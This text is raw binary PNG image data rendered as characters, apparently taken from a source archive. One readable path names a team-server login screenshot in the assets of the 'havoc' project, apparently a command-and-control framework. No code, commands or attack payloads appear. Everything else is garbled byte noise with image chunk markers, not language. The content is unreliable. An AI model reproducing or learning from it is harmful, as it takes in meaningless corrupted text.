JJJ\i/'cjg\]}zNgk_/XbI$Җ-\?s%B!B!C{M.{ΝIIĺ-^4[PPPHn8YOL7VWblYE,§ܧϲw:n s7'=zJ&Tӯ[֭[:NgXz5ꎡPbJJt<99:f~ExD,w/ۭ矧o2feQQizcضemvNy <߁xHDEEؾFRͧkVs'jX^.""jаzm >Pzܟ%B'ij _B! ѧM3xFh41taa:qݻA66+U+H^=UuGui`O_bB=j"xWS{wߞ%%eDEE'U,&⒏rrrmd%e+6ufNq;Hݺz%]B!B!s1TWk^ccu;m׬IJNOLJk{]m]4ܭ]D܋Qɷ@~~5sg'98h_nȤmdeˎsA=_n||źyѨI9?aE@J&w+7o[9:hulYǠ{<6rr/s^]għAH$ eֵ8}i3bJ8s]k&^^ݺ &5=ڰ/k'Zە}(U7Pw^[<vM O*ٻH2R6 ruuuvgfajMIIW߲X.^Z Iһjje <|Xc~k'o{!B!B?iѝ(1#aXl68l6LQWxSpջ B#V䶻 9A,Xbt?¹C~.|X6ei?Otľ$-.y~r&7>: kZ`g{]B!B!B?#HI}4FWgx8{9_B!B!BzB!B!B$#F!B!B_~x_UDUxUx̌W)=cF'7Wg-FVqS53#:%)ۼiMݿZ q9KJRyzZ7| gǕԙN333SbɣHn'LA9,B!B!؏8xݪWSo#jj$TU&v͏ˏʿhow={'~Rx<ϩ`3?/y'&8taDf&qsס _-&=nz]]CxWomꙶc)++?v|#4d`0f􋗯o/3n݄wilj xFʱ:Ӊʭ,-k;[ZJRu$6.ys7ڏň744r8m_|JRm7j.\l1w\"s`Co)*q߸pٯpUkkkwJI}E!B!W-z1_q1]cī4`fFhvˆ7ef왖ǚ%{YY_z;EX%39l鲍/_::lj> )i۷' TUY 2l:cjjˑNAsW>JH9:l9pⶫy,ҥ|ؾAAAHu>_swc:O^NSB!B!;gy߮..,jl|tM$/%):ښD.^b}†  %)YY/cc***?y-HubvbCCc IDATii fа1p+@{*04,Obv[IN[ȫoOt.c#G93<{TUUGF1`6͹xFsssSSSZڣZ3}╝WbSLpsXWEc`钹gy+%ګ+8$`\`YFLvӇT9Y:$C 2m$*!f<~vԕdoٳkl~DEgZ%7D:}~#**t<<bٳͧ766v1 )((zFVeٵO^{9sZYZ a2 -bĨG1L*keU8я35H}ܲѭODݔԌ֟HPb `,&FUe5Ŷsde2d RNHKKJxQSSd2 >}qS@@xY Rt⏘268dpήNlmݻA66+U+H^=UuG@\\8鮬(%%eUQQa2¤u[Eec(|eeUTT㎍bbFҿ|͂3{Tq=F & cUU;,cz~m/\BOOz.""]i;}NI}$!.V[[GƏ2@l۲6;CF:FRgO~N7H&55^[j0A'?L&YeYTTgg55z1,J͍ ٳUT6oZ9X!JkaM1_Ғ~Ĺy4uCtsyq>w/ۭTy,N3e('''yi l>kzweEQQD|C!B!Bqu\iccuzzcc^Rk.,VX絫n!!Q< ns8{1f~}rb''+ m iAsR>!!!Qb6Q(_jK泦'>sPos]٣{\ |32ⶥ&p6b=xa(j+yy:w,3+\#bYcK&쵧RVUUN`8]$&l6vFЖlw)..3jp{Ssjǵ SZە,d^n0'ͮ/1RCa֭kFٴى LX^uﮇɻ;bOJܾ(%%u4LfħF;shٴ[@D{'0)U|:{ns$IPPíB%%%ܯ%0X0A\o#s~>W?~8{O@B!B_4`Nk*qp68l6LQWxSpջ B#VdƆ]%1rB:YrBYYi?WOtLu"Ң_?5:b(MO!B!B?C})iUEb4#!"H$L&L&I-Ćnr-'_1,p8P./xݪ88 U /*f2b"o;9lAAje_PmJ'%)AS(hƯdƎ~^;w$iXB!B_kǜ 90WB!B!wu)h,B!B!BgYB!B!BC8GB!B!B~^}DH4nჯˈNSrr"H)ٗ]WO&4fXFuv|]@PPBBtQSX,VuYm)''x's8y%>>7KS'%u-WW9sֽÒZZn/_-Y~2gު!B!Bͯ#wVsj_s?8~rd7zݕLa7 cB!B!bv℄hRR:[())Qվxۥ4B!B!B_ݏw6ER(#-%(HMHLp8uu 1g&-*ڍ8i:j# }ܸDpЁׯ Zb!3r|\""BDp;Aa!7 Dx$0c̛kM\LsUl##W#m6غźKJ`9:l%$33ϟ=e;L+KF`#Q=33#ny+KQw׬ee]:=O**J/I`z^?ݳ غ:.759tX 90giL[%_$ia!7GEXN97)!891NA!!n-Xzc!B!B!~+7{>9Ga&S/[in]@Ϟ*gOtxsW>x {8z `0|`YF7~ƒe6 Bٽu߁z3L-Ӊ ZUVV&$^z뗎v R{ƈC㺷irCn133͖.8kiS j GrrNo8u pq{w1Dɳg>~o`w6m[:`bk]1jYZm^O[󓵘mb4`鲍&;lB>bs| ľ_TT7}sUUU5;$'b2 b8[Asr6[\qmj+**)((t=vM<+ ;++n߾af'(-˗-8,gf 4vro/$KΜqoRY b v7+pMbG(//7bĐ$>ïVdKJ3dD*--X!!:XVjjj9B!B!~+&zTҠ)tɵu>WEEi n[֭[:NgXz]5RVVPW~a3LhiiH$))Ic0nhua4`aQ˗4: zR2eHM͗2ڝ-+;G'2Yy Y]D"ꩪ= qMweE))I]]-0BOOz.""@LE膓ĺhӇx3ߥ<ǐ'mu>Y_K4+#bkk볳_i9lؠ)VZWVVEE;(&M@@`! "B!B!/ۭ#~TKԘ_~cmm'>s'C[v?LڱFVVܼ׶v_bꚻOsswۺVNNcP=hnf_OaTmT;Yڹ]67>}ƽG! :\j:c .v8D$2gJ>!bby^٭{d>xF {mX|݆78V]gvjĤ/hӋ 1䩱붸2(&o鲍z y~>>bW2 ]T[Q^04w} ֔JriZdˇBJXHR>%I Hd::$I JkfB:WNҒ"ZU#I1PXT fBBVK%"fqjp:Ғ"Z]8^=uRQA$ܹs֦zdE~`UQ^ R*_(Ɨ챐T;88$p|||.\Pjթ`Z ե@!W*F](C"3T=4%(S;k:;.Dǻ~GH^ }Bu4qס#{["o?LHYe3'Ν zFlYO$Ejj߿qqM޽WZ5gΜ׿B #CC D՛7NV0"4Q CLno tarDt,piiOՁ>hTw (6Yofon*;"ٷX"]QK|j ݻ=uv XhQDD0R4++>( 5vNn9bQdHhhahůCz@ziRdKNxA;^51hZH4E5TT#`̙O<߿x0F("5G-KiEDan^O^I]Ts*^ΔggSt7U26TH n~^eq*$H#+XW:fp4IpFîF5A%%%_~D"id@  "ϗͩ[GB)+fs 0 ooW(;Rxr)CԻ#ѭ:ޮ:T‡Ҍ7Y\쪒Ef 6;~p}>~PWJ435]"|9@2z+3gL0291cVN XBV,PbսP4pX$xKX5mg($ɣGg!LT5¡FVF&@Z+dlQUA$$$0b[_j&$Ir k߃JT*Flv0 UoPyD~O j4F%5P,$I5FQk202jX$Oc !Ps(Re EFCEl6@ϴ^4!í>GiBHa#6G!mB!Q m~ص!KW!0BHa#6G!mB(E!mBڈ~HBH qF!ӻa߷7qhjЛL um_p}V!T]YiIoLck'Kc?ttΫ/kzBU$†NҘZV&]Bڎ #C]]+K 4b>د/BM u މ򁤤!6ia#ۄ}F|ӿoФoBھϳ 3eLb_Gŭmk9p>nnM155Ə-@.Lߵos;prADMs.{Z<5Z  %'}.ܨ3'/_ IV[ѭvCWnYhW_o%S1 &~|›==U9Hҟz}Zrn) }3n3Qkߺnws2*D$&oyP/9r0}gg[38ſzqP͟ {`dN4瑐aӘtOUs,͛<ژg:rGp;٘{8&EXX%- ,|NlkD^>lz isvwjg@)ag `ՙxc>9~g5^{_eҵoOѬﴀq}], v\/|+m{QAWoڙK|ܿB/i"qdz'Vޯ~q䅿޾A*ADʃ?(g@S`ß&:ّJ4!T;/=| Kzu瞏ClN!m4~ܳF?P[ٱ1AO = E, yYriwN >{r|ԕ_!hc*n8rVrB%"[(>swdJ!ڏz)? {O[ uQVurn;u/[cg3>yiͩ.Y1˞K707#7t^Fvi]ԠˇO +ԲkciEj{:Iq]|h:ƕ75,n cuoi;vst0ڴyϷKʘ;njhQĿ6m9,k_ߪLe)QO]s7~˝u]gݱX+nD=43YӇ;rSY/6EUKKKoE*'ѐkl{s4}k !JjyjK4ntgV≵ #՘? M¡V>{rQd~`+vRQX}2IC/vsey /nhOR.) ||^vƆ׶'`em.=tn);Ӷhq[mc|^A}mEw]6Q @(m׫[C{nT%+( ^ &]z7#(J}kYv&kM#8ng\/_xvʹ-T^=V[z$~U᧟zl5u]G_ Vuq J]gϻ\GWwߗriiUEfLl:= U~ӻY&x?XAG xI`^-Tpd.BfU pV}]' lebPf:}p_v<͊>SZ9qdxT_G]TN&ut& /=V9`aL ОxqjEqi9p_%e4!,g>{QI9$S;]enrhjɖ[YtbjwG;xo!adUK5Y :jx/'vz<(f_xOhũV7@hOIn'+_aLnc+xaDZ$)gH6%F*-UK;[(aJcsInXkپ +bYO6ȧ.!䬷4FҲr?p3my:H%T]lv MN3Kky+W Pr!vz*"48ϴQ VY*cFi'w>**/ GvZ\cؙJoOLj<7ArƘcg|$$\Υ2|ӱwGb奨2} cr Tgi-8l[F.[09̷]]JG5e}'n"Sv<~q G1| ,²א:D)-Ɂgi$.,OoE^d90E(`md;տM~[8bĔcd?ۗ}8⃟w}xY'ĕC=׋u/EHYV\91_Un9:;*ny-HPXNt1F(zpAiUd+ }'Axm7+XFΚP4 47 ˧Ң~OQ&3{6IIuc`v`Ed"aw,[ח]7վ_k)o0JpK=DZ<)y+MFT2bo=;l;Ij!ƍ6~C}ntv gvպU)kǭ4۸cGˌ͔οFCi=+~r̲j]G+?? mܛ6`/ 70ža7Tn8{xtzwR\")__;H"Mf*!cu:k@F8iSF*VN]*{vl|XMBZC;\r1֮I1 #))o\oձhQ~c!TyG[ Hv !ZiJ: iҜFJ_[;CIvׁ .N>~=u6kLﺶISWtߴvA8K]Pu/_b"u;?&V L%hˊ+/?N4Cl<\H8_)FYΦ6Ƶ{hĵBYj÷~CMxzϟSc:06<8k IDATtD(5wQq7{@TM~` 7ʅaE*EAlbZ ``;۳(%2&=9.*.L./W*X1h Y+*d90e1gnz?:"܊ '`߫2iOr\TKoSk9 8O1ʲ F|;2q~NxaNr>(atqqQԥg eR F?jRUCXK'SVXc^Vekm x GX=}m?3_U<:BFG-~zh}J2|쟽Vq7$qWyTç;tڱi30>+~uf2}(-\U?I9~ݬft$|rǟBHa#6"5 ji5K@5 ?lgzVx!Y#!w\Bm A!mB!?Bi#LF$hR[B- BHa#6 TÔ$.ѴF,岺GF?zÑ$ejfਗ਼~kZB!?Bi#LF?#{_VJ}|V !i,K vGM.Y da"Z^닚mݡߏ^魇?n9S;7JwJ^zrs＠fPS|{ϯKv傉^Iwmy.E c$pբRQSQoqY`lK/lە%=t؍LUM\X={2o=p(([߽E?g*]Y; ڏ v k?|%u4hgԺ# ߸f_F~u χ3wn5=zN]$}RV$cDw_SH0ŋy$p4/>#A׎.|<7JBuGMIrsזk_W 8XXnV:\6Q~ecĢR%T(#8(]O}l\P s{j0QӒ^۸kpϕVM{6Loo=bULCJ5#|=ʪADESWvGMMak-2VP=--pt&5|-*bSmqUK,sKrAAX@[ Ԧ]nkZeVV~99dE{I:s _p:ۋ&==d7u&Z\˂P[E:58pB}|m|2xo)e ɥի~k˧ߙYV byΥBoܜ. u~7U*ycH@'\B7IoBinB42<oдK@XKij6G)b7MF Y":r,?( V>!0BHa#6G!mBPx<=S3 īŧ\.kTP0$)S3O Ԗ`7_#RLF!0BHa#6Gv~Xw֐k4b\MUBc2C~Aa#6k}QK m}?]1sH7vlY~JMKu2檥˛nՏ=XL4͓/ob}l! P鏚a8|TosѢn7};0FI>i_דlW,8y  Tc]WԽQ6c1RL ?j܏_FKb1+}}yNxŹ!ri"!¯p~]~f!m鏚&Zw˟pwsE+*_G= pqCD|23^N.iٙ- i<닚(h0*5Zup9_<;lk$B-k) T.^+sws1P=IJT:!_N²7Р򸪼\qtyFOT@VY?JО= 1wHݭT?z'G?p!NWĩa<;AN1AiaL?wwu{\va*]cif|J\)H _myJEOyy֜!w6(iק v= BMw oKe3}tէGGWzE@ȋ Ot{XVb,7r=IlN 'hIaD#(*?5-]"YV byΥBoܜ. u~7U*ycH"6G!mB:дK@XK1X$ zѴF,6t*lPrY~^fkWP}F!0BHa#6G!mm~gjfATkP*[|MH25hTQ Bm F?z5b-G!mB!?Bi#l3q\)`heiaAF-bZbu)oZjyiЂçHYzV ^w{cT]Bi0WIPkn:qcuNj)b&Mjhnk}:YP2af?T=|6ogKJY?qKu2檥˛$ӠlNepr-Xx[\2ys88_p !}rs@8,vrUvY?X~Kxv) d.ڳr0_ä!B0Q#u9lPJD#;"g谏.XΤU+?Qt%,3;N__ SF<Xe!g`jqUʁt앋C!æ}#l =}?,aYtp}wo ;߻~r}z[71!lt0GMԵv?XuFYYіWrYxdz7/;Vÿvx׉xųWmG:#W.<sekpNLvE_@:s oLQ~߅{zˎg8a"NmjeiP.S?}k6+#jknR+ד7yqqn\>SɘtN:x9 <(ح{}\䣛ok>n&aJqO@De|e҅ Y- i٥c{ΣQkwˈ`]0QӠQOIҼ"P>XVOwZW&r1-:hoGxkC.9ty8Xq (4a_'o_CQw2fLnaQ ($HR0~D6E,\PSaJ3;K*^\u7Q6zà[8}(~ {tիfpKoֽg{2]/TegH(P&g&]vVبUJcS]Lxu}_54o&2=[s:u:BAƫ<1!9#~1+Vh@d@IXho8&fq_] NF I-)KT;z9})2%v !l#öN?%Z?j>{6X2uIޣؘ|v@%ƾCg J/x0#, #]&LsH䥾=r#B]6Q-1й||yo`03~vĨzbYC}:hݘxXJ +ZAN.̲j{4v.\zs椵v - WxVR=R,NF!0BHa#T=Bk)?Bu@o2ֈE†N->\.l*jbB!?Bi#LF!0BHa#6G!mB!?Bi#Bu7w7&]B5Hw][5nTP0~ :`7cC'G!mB!?Bi#LF!027ٰԻiRFqz{僫)BFa#?tiuU#xDEYTjFV {ö !TeQGX1ϰ2uq}#]<X=;t4͜y?}q.ɏ]r@Գ:H*`lY] LE+O);M5ҎG0 ɝ[Gg1F}+YTAx[^7~rzS&Ʀ*zzOK{r|?$؅q2@0G5jvrtm}S-oy%_Tv,=b^v翢f?Mi/F^$s_=᧟xd=gt'O.=z/ 2&: `hg?ʻ(ܯ}'+3wo$ZO?j{'SN=3Něӥ@1`33d1x!T_E29J*eV& -,LRqX,A3/ H(cTSve4(%``ׂ?B޸<Yl 5S򥌧 HJJ KGS =kn1Mg:OD2_ A G~BFtgɖwJeD$Eiʺx?koڐ]vʦÔK¨ h#WS K2h`ryORa9lKp!iyx^ʓ2ȭ(+52֥-ch N#@ѐ9ú'J]~Rr4j=ۀASc5IDATG.nD8KBS3˪Al6ڹ4sU͕%?? mے_?J%z, pB!?Bi#LFIJuZlZ@% TIVC'iL|L-V)E֮캶IkWPY;iTiBSgX@3BH Y_F!H<BZG!-G~BHaFx!A!mDA0tBMb`Z`9/T!PVLL-I @./ozB BD^!kB5  6?<]RJs!0 R)J%:CXA0oh !.AZ9\ `0 `bj4xLy -,[ [xaHsO<{N'*sMIENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/Teamserver-LoggedIn.png000066400000000000000000001304731467014221700254120ustar00rootroot00000000000000PNG  IHDR [KsBIT|d IDATxwX.KQQ{hјn͔^M4{M5j7P?@.<!;wf09A+[e5 M/f )e fPJuf?:cߊHS6ȉgh7 prpfeo<ՂjY^>`J+P/ߜB E&HF @y*y2ӉgV%0)W`8>OI"""""""""""""""""""P:Ծ| & %wapx`F?#ѣӌ|mZV)(wlR>+Zv=on᤿|U $0 Oɀvݲ4̂C/X3F9E$?|0,Y*7(: W923HOO!33WN66^^˻ݾY)#; 7^H;8._hU Rp9+)nx23p]Xe-Yi)G@@5 <KWN*W÷vϼy&s(>0\qAo i,&S '  Îqox+5 |CqG&1od@rlgVd‰ ⯿: zmLvR;-""""""""""""""""""tZ+B8bR90// }Zakn 3̼mU3mV ӕ܉M u\ɀIqH˟wk\s5-[ޟJnEDDDDDDDDDDDDDDDDD䒗ELL4ǷBIKM"bUy^7ʅ` g+lؼ;1 1Ʒ_)_ޟjIZPھۅax\n.E\9~|ϱ[HBauX84˲~,7ŕF) fff6l_ef8ܳJp0̌4}Kf+=l|jm96\I~y```dbTlY=V|xV={4~|Ǐð*l6L$$$7xL*VxM1EDDDDDDDD."ŌԔ'""""""""rrR\50O~eàR`uRw7k@8)4w0 b܍3a 0cU,̐+pů,dž>Aod?}4vСC[Yb:u/,f,""""""""/fǯq\S76 Ka5ww¦A|^#q& F>^~pĻU!; ðd/L!z Q>kFQfn2]Ȧ,f?~HhYgYz"11ڵkK/ 9\D bw3Mp|17}hR;su}_=*vZՈp KF~}OzVI9yo壷c>7=U]tX)Fol7?]"""""""""gabb> ģ֞ 3_"zYҟaİ+80++bb>i˲0`C aŊAJJ XDDDDDDDDD.:7F޳܉i`T5~gѥyp 0 H\Ȅ|te A_aiÖlpm\xVfڱz&""""""""'lEBNGv3^rJ#z8h'H]0l4Dco6V\d޽EDDDDDDDFnqF*m n8vq*&!;xޝEۍl9;( | d 쯼H.nQZMz'%콈șVΧ<)I x{<)Wo^t%Nx Y [q4$ `3DMYqpm}0OG6a$''3tP."##1h>uB7$Gy-up+~ݒz݌哘Om)f\~F-Z^,ה_;C^b7?/fGkyՄ> oFba>G;/ H|Y6O0lG2dzJKo7{8*-ɊېoYU12*T*U-X뮻˲pXĉ߿Uj;""""""""""""""""""riLR`U8ucc"H8x!upE.s.ڷuK,wIoIq/%Ğ\@g4 l6iW v@DDDDDDDDDDDDDDDDDD.].59RWKNN *r'AM;Wtcv ,ݗipgbfؼ}_-mr ''@@0ظqc k{aEDDDDDDDDDDDDDDDDD F~ݽӴS///˂1DBH=o׾Lƞ+ؼ6je1\W?3~cgd&+3.\vO}0*6(""""""""""""""""""feu`/.j5gVIfS=`z޹lQ9 ;/Hr_n= 3ad'>abO>PDDDDDDDDDDDDDDDDDD\2MÃTәOWǧNg6nwuT鈻XB͵IcYxS j`o{#~'|.;N'-d$<o# LNـ=UǑWhʝo|X/4t`ֻQg0^G\Lb;͛'#*p?/a}'zRd#y{ylU.ݥX=yz7LCFv4~bҝ-{ 8. |*x\8| [: ??-.+04cL\#{?%0a<)w||iVy ̪~l&e,7^Ksv[L,ɻ}2Oq[C ,""""""""""""""""r:3H?MoĽ4oU*ujst'P^gq'ϧ3o<ض;=3/ j=13XS#nLļ ՛_yGxu^:F{iipأ CdΎ3{ZٕW7Q@{$ %SRZ>cyw{/`Ot&MŌ5qx0*䚾X2 VMkl͘´J*EQC҇?d~l"[#Խ{( afO^kP; rNy)\IxG̵jד=:ywҥ}~Gy8 g&Vˇ)~8?'W>٠z[x0ZիF x9Lv<2u=F^-\A. `(e}SCj3{^ܹgi_>M}(kd'=:&#+⸢OWtQPT!7GZ|>o; 3Wg']hDzQŧhսCh[vZH&[pY ȽHt{85~}'ΡOցsxqh6dIJ>G w7؟{!oqbK$x9 ﹓%Vӯ7]5N 0EWtXl9Ýg){#7HkGkB7٢TXs?[wKJ4`nլׇ=1s~܉eOEv<' cnН.>Rlq[lPdۉ` ؃.r}隿yXvNX3{DDDDDDDDDDDDDDDDD䴙f3ZP#_V!9t̘Īmx_62gJx-vWYfxYܯ-kHٵ<҈Ε|YzN>C,Şb2lgol[΂#_ֳ0uN5H\Y̞P5.&l4ЅX&>qC{*/$/,0 lEDiy˜fXIx$yi#`jerNrƙ r~n^9 DlD&[4k970yy8v窶H0dXlF>dZU w 0>7 -6[*m,`H\Ss;M՗k#N~!׍?JM;h^?I~g)KsݠF\gSb5s0>7I+XК2|4s\lțoC, k"$ѻžO!<0 nҶefݥj:GaCbLZ{ɌYȔHm`ċ?"?o;dGMo8رq{Hr#y'z`4[Jѯl|^n|iue?%-cܡ3"cHoA2I\6DxmGL:mee318SHV\3 rj=>̌MiTЗ0iĜ^Hi!f|Mx~"-GXsY$~zrBLw=zun\𼟓'oG{`8|S熚mX(e2eICJt/;5k&W.gVD\G Y(o(]H2X5oih{]kfpY|殻;rU/hyh-?/φӦ 2}"}Sba cy?(V+C06]ZO xRʹQ;9~h[T&Z{c!)csc!k|0*O :dA"L8DFP_{"61/mIs&  }2x[iBY{sWG/ywN9곈Q1Pj^;"GE=?%==xotRDDDDDDDDDDDDDDDDD.ٙ>J,fY)PDDDDDDDDDDDDDDDDDD """""""""""""""""""8 ,""""""""""""""""""r51-5\CDDDDDDDDDDDDDDDDDDDuuRR8ܥX"$fepՃ{þK]ZjvZ O~c3t?'?[6䌹$i'mCڕ2LI"nnOp]0 Egg:]ݛmL!v6Mmi*xQ{oِU(g&p{63aj"r>%j~/rgv8-3z9;.QV\zL ~{U,˅3%}ۘ=v: #lRY^~k5cޚr*^kJoޜ3͋tNWiyIj|i3خYtr rƹ63y.R ^+RI3n7;D`Vc/9FLO=9pX+r;m&!ۯ!+QvaGs9|2 `ǚ5X_mrS |0nLjgʡukY0Y7UEe^fR&t|5Oy;wa_~EJq+XЎobV39l5b0lj݂ U\b2O?"""""""R6(r߮QIHS9)2u 6\;}grҔ-L_U>1p!("#?-lG㏘|F%I1H.|قgzy1l)0ߓC;p| -"&;9]P|Y`Ç=MxїSEDDDDDʦJ4irG0² >X: ]tܚ*smS`=Ɨ+WF<\KJ ,)Q:Fؓ "? r7y{fxq-EUZ˄Q3 uaۏ_hNmx6oJ@}oy,rРQ'wdoX`aTK`p&w~kcטK]ZZGi^ʛ;(O[B*zad%~_XAŖ}`kT/ÆY5+T+o+[Mu f3Ry[Jm 5q+f^RK=[nOКUVN1q geN~jT!ajM^i]7?#}t{]}!$yMRlg+3oγ#rxAX=/Nŋp=ǣsgo@sZǹO^aE1Eg[jO5@b^C'V98 ؔSrkQeg@`.vܽ| r :shR#Dl^ߣ+#yӏ6vy8uSӂx%]KJ8otToPZVfYx-%{MD֎yLYV6]ӺcN %7fU^AFATqY#b`P APi;lMWjU52w\׿-V!AzB4ff)N6)IyIE{!aqYh 2TS s Ŏ% YK!/bI_+džIvPE; O}O-ny:god%$C`_>8_0/֎CiDBeF2\p`9]˺Ѧk8RЧcKa %9絧+ҺUSx9;sjلuʰs/EDDDDDUxѩS#|3? ,-ji`[Y5>MGrqgnnOHm6}tǰ⏑5$G39üө/V;S6ѺSUs:ZF݆8پtGe'lj9u^ދR8Loc%obѺnޮMh5kpT!]ݓVGIحL^%;qGPZxleu6th`emœEԕL uy`^V` U/ ݝ۞6[欞׳+H/oVҸv9g/Vfՙ.iAf$g(|ЊNJwvW3lהUdti&[RaC`ș,6{üxf޾?0KN]w+Xff}^,mzF^>N^9'?ޝcώ4 c.g똟KQqqUh~g˙MYWBr8 Aǯs߾N}2 yLm{}ȝt//kd9s扷âx'^pfebUxܒVl6gJ~9Oewl :%H5{/ܴߔ>kY^bf'9,ppYE] Op12n 99vQE{1H,I3M3{lRȝ{p:q.VF5mhF% ʥLggҎKw4Ll6fb_G:ۅ 7n8]32xg;xg;/W^zb&96];Wzfpf)^O|4)g`mM.0/eKjfoǎ [|u+| ̳7VaY'&5|+w>[9;X|4P:2J+۪4ڑ\9w0&tijg:Z`X^1nyWFEYB6CxoG:yb69lḼ=p~|>m[ؙhe6Y;wuz_՛6ݪcĻcK`ɂhtEo~#-7*VUnE vtRQK:,aьVl{SY˾VLwwй{0J\/|ǜ3w^JB*~*"""""rNnՋKLɩN4 :Tg UJGKOgO3 4d7j5/B Q ~7kV`{,aAf5X;Q#뉸ط3.23>հ!u|A60'K`iTo]׆.."WrZ# ?-XrExm;oݜe7)S⬆4hmcDnm44c.(o|d/Y36D-I60|}hB6Nz筋6^2+i_C{ss61 TMsc4p eW *I.xRt0E^C]qlЀ6~KdMj>Nr%pnPs]t'>R=Eݹ*qޥRSNfǼ%8/zfpf)^OCzx勡xvBx':6c͙9plc1@l"nG54E]K/8;P8Dž5Pl+ZN73nc8㼛wҾk.k0 , kd|_q MA.uXvu`DF4ݣ}[Na)[8_7Wje45hӱ {fϢT,L [k$mw,&MeFq ޺?s^ױ;N`86ﵺފ& eͺ=Hr@:WZƬ<﹜5ܮ3"8uL<96j'}V)чFݺP+eKm-Q\wu;;n4 }*%G.],55n#j% q4?̼&,lƒoH{ٱ/,liٮW2kRSlbŌp7n#h^R*#Gᣘy"X΢=`3z6jե :,f]39یVtAլ?' ˷qS;Zu qEmxz_O{9s-{Ҽް2S&2\  ;;Iھчp7o7'2Zm;Q-ɶwaol29REBt,NE;IʖլS"`oV4C[~[I5ِɔGX`Rؗqa\sCsԋ9+(+iv~MCC8ؤ&Y[F|aNhQqXӅUIer M("Lz>r(}"ßU&[_yoU&sJ9'ggFWS͸y؞g]'}?ydߚ4mR+kdêȀx /ʀ "a^FQPRR)]ӽi}ߞ}_#iin?=z-IsT3+!߼0?kG5eW积hJu/7ܜ=牞}ܱɻu_k_¼ݞ{7#?1|Oկ{s:[? 5?_iSޗg2W֬˫/xߡ˹o#YJ`&. /4Le`|US)MW׾1/]ƔGj|'ܯաٿM/_<䪚e90^J*_~6ɼ/͛HM?ZcV<ΎJz eޕȚt+׭o|Yrhnߜ {d#2o\sɕyg[ןvȗ13s?ߑϚ+VeVKMzog(陼u% Ձ/o V@ϧ ^tm.nPܳ1jI9ɟ)܏ n7~=RYUחL7GSܝ{{/K/Ysn- ٷ\+^\SM-vqKzFʝkڟZsԑڦ|_;ޔ׼UyplݘMGRxz{rUTFz_=$K>e?7̓ә 1x}y[fMxО,ۛ{_nj)Odwe_jܗo~w[)Jܱ y dnP^g{a:Жl>P祺۹{?|35 * IDATuxC|]ÿ7>|j(ҜՎȺug}ٟ9i܎lۺ5mv)pJ"ѯόU?ܟ."ѯ~H+E_)[o1 Nxn>WҼ㣿j?_چ $uɫ2xGFaU~~-ߓ۾ycn>f-mNu[X߿z8Yw;?loT.G>\񛾜/o=}'X ԙggz_l}x]wfuMo=/Ty(]|#R_;u:I) ^/=/ynʡgeu_ʷzrI~i_5~D'O~$ã>cMMzZO9ַjRs-]H}ñKw8-)EG)Jg}zWDR$"ѯ~U$?s{pzkdj2)߹`^qmc޽I2%d^rͿ˺,ew_ך'9ɛv_ƼҞ<~wn7 [nˎduRߗ-?:+6ޗ[;~˲ySn/Cysu~As`۽RJzO%!+sccyo~Yx/}'OLS$"ѯόU?7Xi_)JWDR$"=+V~XA~b"ѯ~}&lz~~!_)JWDR$3wFJdksGRIZѳ~H+E_)JWDR$'[lzꀧ-{ࡳ[JWDR$"ѯ~H+OF:3P>gVО]3jnӺNBY]3f;NZ@i}hO֭<g~/ٲ 3T =?z{9sS_x559elt)a `( @( @( @( @( @( @(ڳ])K̲}{3$)cm4]-3]Wu+2tg餦3+_˖ osoGƩ{eVwQfgf;{o;3uL崜<px}]%=ux-}R,[seJy?dCdx:IҲdcJXN{ۜ4V29;6ݔ==IyVf/[-Lɡ-G {d Z֖2l}xS&?`,rNGͱ}gXcc/7_ДR_/'s.֦RIe _:+|n&NsY}r8kp|CHҚ:/Wݓ)]+3 Ӽ!?> dYS3LtpSs3m]iZҐXuK}`+5ixtynץ=ٜLwhj/RfvJSG饙|03i9)5qkLYMto+Ҷ%9{3\Ο\YoK]k53;{e,z^οyWZK{OOtݽ|Oc^֏$K8n] 8K?wTJ:93wݚ'JӪt+˛R[744͂]dzigէ44/mPt# kSw&3wVfsU{J fKd_bގghMP´On˶ޒ$)W朷Lܙ鸢=u3z` ?\=_$wmi=1ݗqZ3%<*3OT*'>$)^ H53>~׵u\H1!Lfy[SJo)iNW+;V5iәJo*I+M=j7St]ǭwz)v.Hsi2ݏ[yyv#Nlqkf%斔ǭwxLM%妎4#K)5oR7̤ץ\JMs<39Iϖrs9)󺗧\M{8#ޖCv(Sl[ۚU2/;38Ҙkg'?W:~},|A%##i|*=T+hunەo|yϥY8}Kvwfk2|ތdtR R}OzoO:0=s8@ewdL.[YZGߩ ް#iytn)So7C x~55Iez cTKM =nS=djg}0?VCcmV^<ś̔w}kK:~j_͢/yr{ řԕJ&]urn<4err0Sӥ6Ϝ̞)kw0nN=kˊ/LK ĊtJoρ6gW eKǚ:٩tw|H+EiMkzb^5skw^Mg+3:qxnN17#cG ?Û'j2uˁ &M)>ݓG )ڬ-e#ݶ9{~~ yEMF>~O|HlOK6eCTޔqy9E(z$w_өں$%Ju)L͒3o+%I,Moɦ[S$5u ^[jHMM)ՙcW;gpdze( Gq*).0'.kgrmwdZ=xՌo>~,+ɲLweyvHb2GIٿa1#ѩۙx }v9cgz}*S{x,իS\OהR鉿qΤ2T;?s}$5OpZjR.%9juChū:y'3 US:=mLP><kj<;xL5z:})>ԥ.ˢGM,3k_h9ɘ|h&>qgؕk%Y=񗧘6Ix?]ԕ&WfέK21ju&;n?L/P@!v<ýOؚ+kM:wg2IZҹpqj'wg&I) 'Rܕk_es&r辯gGQVg ٷe[TRP8$<s i_\bvw\[>2LmëcuIu$3g5>:;t-?' ۳J TZt^S21dyRU<ifﻇ3UL SGgG3y"%uIL'mImyھL&k禾v8I i99?t#U}éfvǏ;_5MW3x8:ӟIӲTq#vb^Δ#99IZO5MߗJN}*J}_ޒY,x٢4|Idq?#?&?,Y1LLKL~@mzX<PJC4V&I7_sҼ|<;'& @Cf͞XXf}7ʊsVf9R;ލۏʋV f_-)%iwyV{ljs'Κ8^.`&OcޙS?5˳pԖJIY.ڒo;{vfnעtiImy*Scض=IʓKi|,SowƦFSiY])W'213;?{{F9ɱL erLoC-8/է:5{i&NYuCgzWް7J] C9W}Wo;9LKt6ϾmЉU=)upE^23wc_ݿ#Wɼ,N;פv&{2pkmN[ /^y/.7\fdwtj~澻}sscOb@SUi괵'3#~-d/-IϮTv9Ie!ι0\;g87lξkʂ׭΂+28~0poz4}P߿2mo_??.2sp2/^Wԥ<5wfǶ^v3Lhafnޛǎ|p} /k IDATjS];hWgΞҜՎȺug۳?Mͭv}sp::sО}-[lf4\y^F_tchwin)̳%~Ifv|9xyϩ.?v, p }3c<\O:5 |W^/=?ujO޶).xv]tn}+v#GxJ.]~KIgخv # Sb `8;pvxJl 